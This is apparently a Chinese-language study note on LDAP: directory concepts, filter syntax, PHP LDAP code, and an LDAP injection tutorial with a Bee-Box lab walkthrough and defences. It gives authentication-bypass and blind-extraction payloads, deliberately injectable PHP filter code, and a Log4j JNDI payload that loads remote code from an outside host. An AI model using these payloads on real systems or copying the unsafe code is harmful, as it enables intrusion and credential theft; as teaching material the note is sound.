② - 介绍

目录:目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议。LDAP主要用于目录中资源的搜索和查询,是X.500的一种简便的实现,是运行于TCP/IP之上的协议,端口号为:389, 加密636(SSL),这就意味着它为CS架构能够分布式部署

目录树概念

  1. 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
  2. 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。
  3. 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来。
  4. 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性

DN:唯一标识一条记录的位置,类似于主键

DC:域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example, dc=com

OU:组织单位,组织单位可以包含其他各种对象,如一条记录(包括其他组织单元)

CN:公共名称,即一条记录的名称

Entry:条目记录数

ldap 加入组 ldap注入_web

如:baby条目的DN就为 —— cn=baby,ou=marketing,ou=pe=ple,dc=mydomain,dc=org

③ - LDAP查询语法

常见操作符

  1. =:等于
    (cn=steve):查询名为steve的人
  2. *:通配符
    (cn=s*):查询名字以s开头的人
  3. &:逻辑与
    (&(cn=s*)(sn=*d)):查询名字以s开头且以d结尾的人
  4. |:逻辑或
    (|(cn=s*)(cn=t*)):查询名字以s或t开头的人
  5. !:逻辑非
    (!cn=John):查询名字不为John的人

LDAP过滤器

LDAP 在对目录内容进行搜索的时候,需要过滤器来进行配置,其定义于RFC4515中,这些过滤器的结构可概括如下

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。通配符*可用来替换过滤器中的一个或多个字符。

除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:(&)代表TRUE,(|)代表FALSE

  • AND过滤器:(&(parameter1=value1)(parameter2=value2))
  • OR过滤器:(|(parameter1=value1)(parameter2=value2))

注意事项(&(attribute=value)(injected_filter)) (second_filter)

在OpenLDAP中,第二个过滤器会被忽略,只有第一个会被执行,那么类似上面的这种注入就可以成功的(但是本地执行失败了,不知道为啥,本地执行失败了,但是可以直接构造闭合)

而在ADAM中,有两个过滤器的查询是不被允许的,那么这种注入是没什么用的

④ - 配置

phpstudy开启设置


ldap 加入组 ldap注入_web_02

docker配置LDAP环境

docker pull osixia/openldap

docker pull osixia/phpldapadmin

docker run \
  -d \
  -p 389:389 \
  -p 636:636 \
  -v /usr/local/ldap:/usr/local/ldap \
  --name ldap \
  osixia/openldap
  
# 默认配置
# dn     dc=example,dc=org
# admin    admin,dc=org,dc=example
# password  admin

docker run -dit \
 -p 18080:80 \
--link ldap \
--name suiyue_pla \
--env PHPLDAPADMIN_HTTPS=false \
--env PHPLDAPADMIN_LDAP_HOSTS=ldap \
--restart always \
--detach osixia/phpldapadmin

# 查询账户的账号密码: 默认为[cn=admin,dc=example,dc=org]:[admin]
docker exec ldap ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w "admin"

ldap 加入组 ldap注入_安全_03

0x01 PHP处理LDAP

查询示例

<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);      # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 查询并输出数据
$base_dn = "ou=group,ou=bwapp,dc=example,dc=org";	# 相当于指定查询的根节点
$filter_col = "mail";
$filter_val = "*@qq.com";
# ldap_search函数的第三个参数为查询条件,相当于WHERE子句,具体规则详见0x00章节的查询语法
$result = ldap_search($ldap_conn, $base_dn, "($filter_col=$filter_val)");  # 指定dn下的所有数据都会被递归查询
$entry = ldap_get_entries($ldap_conn, $result);
foreach ($entry as $value) {
    var_dump($value);
}
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");

添加记录

<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);      # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 添加一条记录
$base_dn = "ou=JK,ou=group,ou=bwapp,dc=example,dc=org";
$entry['sn'] = 'Gwen';
$entry['cn'] = 'Gwen';
$entry['uid'] = 'Gwen';
$entry['givenName'] = 'Gwen';
$entry['uidNumber'] = 13700;
$entry['gidNumber'] = 0;
$entry['homeDirectory'] = '/home/jk/gwen';
$entry['loginshell'] = '/bin/bash';
ldap_add($ldap_conn, $base_dn, (array)$entry) or die("Can't add new entry!");
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");

#TODO 不知道为啥报错,先暂时放下,毕竟和这章所学的内容暂时扯不上关系

ldap 加入组 ldap注入_web_04

添加属性值:ldap_mod_add()

修改记录

ldap 加入组 ldap注入_web_05

<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);      # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 修改一条记录
$base_dn = "uid=Taka,ou=JK,ou=group,ou=bwapp,dc=example,dc=org";
$entry = array("mail" => "Taka123@qq.com");
ldap_modify($ldap_conn, $base_dn, $entry) or die("Can't modify entry");
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");

ldap 加入组 ldap注入_安全_06

删除记录

<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);      # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 删除一条记录
$base_dn = "uid=Taka,ou=JK,ou=group,ou=bwapp,dc=example,dc=org";
ldap_delete($ldap_conn, $base_dn) or die("Can't delete entry.");
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");

ldap 加入组 ldap注入_php_07

0x02 LDAP注入

LDAP注入以AND来讲解,OR的话也是用一样的方法,这里就不分开讲解了

① - 常规注入

$uid = $_GET['uid'];
$pwd = $_GET['pwd'];
$filter = "(&(uid=$uid)(userPassword=$pwd))";
echo "<h3>Filter: $filter</h3><hr>";
$result = ldap_search($ldap_conn, $base_dn, $filter);
$entry = ldap_get_entries($ldap_conn, $result);
if ($entry['count'] === 0 && empty($entry)) {
    echo "<b>登录失败</b>";
} else {
    echo "<b>登录成功,获取数据如下 ———</b><br>";
    var_dump($entry[0]);
}

登录成功

ldap 加入组 ldap注入_web_08

登录失败

ldap 加入组 ldap注入_安全_09

通过LDAP注入绕过访问控制

利用通配符绕过

payload:?uid=Vox&pwd=*

ldap 加入组 ldap注入_web_10

原理:利用通配符绕过


构造闭合绕过

payload:?uid=Vox)(|(%26&pwd=0)

注意:GET传参时,&需要进行编码

ldap 加入组 ldap注入_ldap 加入组_11

② - 盲注

原理:可以根据页面回显判断注入是否成功,则可以利用这个特性去判断其它未输出的属性值

$uid = $_GET['uid'];
$pwd = $_GET['pwd'];
$filter = "(&(uid=$uid)(userPassword=$pwd))";
echo "<h3>Filter: $filter</h3><hr>";
$result = ldap_search($ldap_conn, $base_dn, $filter);
$entry = ldap_get_entries($ldap_conn, $result);
if ($entry['count'] === 0 || empty($entry)) {
    echo "<b>登录失败</b>";
} else {
    echo "<b>登录成功,你的邮箱为: {$entry[0]['mail'][0]}</b>";
}

登录成功

ldap 加入组 ldap注入_php_12

盲注测试

  1. 首先测试字段值存在
  2. 然后逐字符猜解字段值

  1. 最后讲通配符去除判断是否到达字段结束处

最终去掉通配符,发现登录成功即可确认当前数据为字段所有信息

盲注技巧:字符串消减技术,可以缩小盲注的字典,从而减少请求数量

ldap 加入组 ldap注入_ldap 加入组_13

ldap 加入组 ldap注入_ldap 加入组_14

0x03 Bee-Box 靶场练手

靶场路径:靶场安装路径/app/ldap_connect.php

ldap 加入组 ldap注入_php_15

① - 选择LDAP环境

ldap 加入组 ldap注入_php_16

如果没有数据可以自己先去创建一些,至少需要两个OU —— admin(管理员用户)和bwapp(普通用户)

ldap 加入组 ldap注入_安全_17

如下是登录成功的页面

ldap 加入组 ldap注入_数据库_18

② - 源码分析

源码与连接LDAP的脚本文件不一致,存在于:ldapi.php文件中

<!-- 截取了其中的关键代码进行展示 -->

<?php
$ds = ldap_connect($server);
$dn = $_SESSION["ldap"]["dn"];

// Sets the fields for $filter
$search_for = $_REQUEST["user"];				// The string to find
$search_for = ldapi($search_for);
$search_field_1 = "givenname";					// The LDAP field to search for the string
$search_field_2 = "sn";							// The LDAP field to search for the string
$search_field_3 = "userprincipalname";			// The LDAP field to search for the string

// 提供的可以更换的搜索语句还是挺多的
# Searches all the 'Common Names'
$filter = "CN=*";						
# Wildcard is *. Remove it if you want an exact match
$filter = "($search_field=$search_for*)";
# Exact match
$filter = "($search_field=$search_for)";
# Searches all the users
$filter = "(objectClass=user)";
# Searches a specific user
$filter = "(&($search_field=$search_for)(objectClass=user))";
# Searches a specific user
$filter = "(&($search_field=$search_for)(objectClass=user)(objectCategory=person))";
# Injection!!!  
$filter = "(|($search_field=$search_for))";
# Injection!!!
$filter = "(|($search_field_1=$search_for)($search_field_2=$search_for)($search_field_3=$search_for))";

$ldap_fields_to_find = array("objectsid", "samaccountname", "userprincipalname", "cn", "displayname");

$sr = ldap_search($ds, $dn, $filter, $ldap_fields_to_find);、
$info = ldap_get_entries($ds, $sr);

for($x=0; $x<$info["count"]; $x++)
{        
    $objectsid = bin_sid_to_text($info[$x]["objectsid"][0]);
    $samaccountname = $info[$x]["samaccountname"][0];
    $userprincipalname = $info[$x]["userprincipalname"][0];
    $cn = $info[$x]["cn"][0];            
    $givenname = $info[$x]["displayname"][0];
?>
    <tr height="40">
        <td align="center"><?php echo $objectsid?></td>
        <td><?php echo $samaccountname?></td>
        <td><?php echo $userprincipalname?></td>
        <td><?php echo $cn?></td>
        <td><?php echo $givenname?></td>
    </tr>
<?php
}
    ldap_close($ds);
}

③ - 尝试注入

这道题没有官方的数据还不怎么好做,实际上这个完全没有防护,所以还是很简单的,我们用

$filter = "(|($search_field_1=$search_for)($search_field_2=$search_for)($search_field_3=$search_for))";

浅做一下,匹配的条件就按照givenname来好了,这个好设置

正常操作

ldap 加入组 ldap注入_php_19

使用通配符

ldap 加入组 ldap注入_php_20

利用盲注查询其它的字段

为了方便演示,我们加上一行代码

ldap 加入组 ldap注入_php_21

第一步:找到能够测试盲注的点

ldap 加入组 ldap注入_安全_22

ldap 加入组 ldap注入_数据库_23

第二步:确认需要查询的字段存在

ldap 加入组 ldap注入_数据库_24

userPassword字段存在

第三步:开始获取数据

ldap 加入组 ldap注入_php_25

ldap 加入组 ldap注入_ldap 加入组_26

ldap 加入组 ldap注入_web_27

成功测试出Vox的userPassword字段

0x04 防御

LDAP注入防御的话,没有像SQL注入那样特别好的防御方式,一般都是在查询前使用黑名单匹配去过滤 —— 圆括号、星号、逻辑运算符、关系运算符

ldap 加入组 ldap注入_ldap 加入组_28

上⾯这些字符的处理在RFC2254中都能找到,具体实现可参考如下⼀段PHP代码:

function ldapspecialchars($string) {
    $sanitized=array('\\' => '\5c',
                     '*' => '\2a',
                     '(' => '\28',
                     ')' => '\29',
                     "\x00" => '\00');
    return str_replace(array_keys($sanitized),array_values($sanitized),$string);
}

对LDAP服务而言防御注⼊并不像SQL注⼊那么复杂,只要把守好数据的出入口就能有效的防御攻击

0x05 扩展

Java安全这一块,暂时没有学的打算,现放点资料放这里,等需要用到了可以参考参考

JNDI与LDAP

简单来说,JNDI则是Java中用于访问LDAP的API,开发人员使用JNDI完成与LDAP服务器之间的通信,即用JNDI来访问LDAP,从而定位用户、网络、机器、对象和服务等各种资源。

JDNI注入

Log4J2漏洞

介绍

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。

原理:日志在打印遇到${后,插值器以:号作为分割,将表达式内容分割为两个部分,前者作为prefix,后者作为key。然后通过prefix去寻找对应的lookup类,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行

payload${jndi:ldap://xxx.xxx.xxx.xxx/exp},即通过jndi注入,借助ldap服务(轻量目录访问协议)来下载执行恶意payload,流程如下:

  1. 像目标发送指定的payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,就将请求重定向到恶意java class的地址
  2. 目标服务器收到重定向请求后,下载恶意class并执行其中的代码,从而执行系统命令

环境

Apache Log4j 2.x <= 2.14.1

随便举几个使用了Log4j组件的例子:Apache Struts2,Apache Solr

复现

  1. 利用方式一:通过JNDI注入器进行注入
  2. 利用方式二:自己编写
  3. 利用方式三:利用dnslog检测漏洞
    payload:${jndi:ldap://${sys:java.version}.example.com}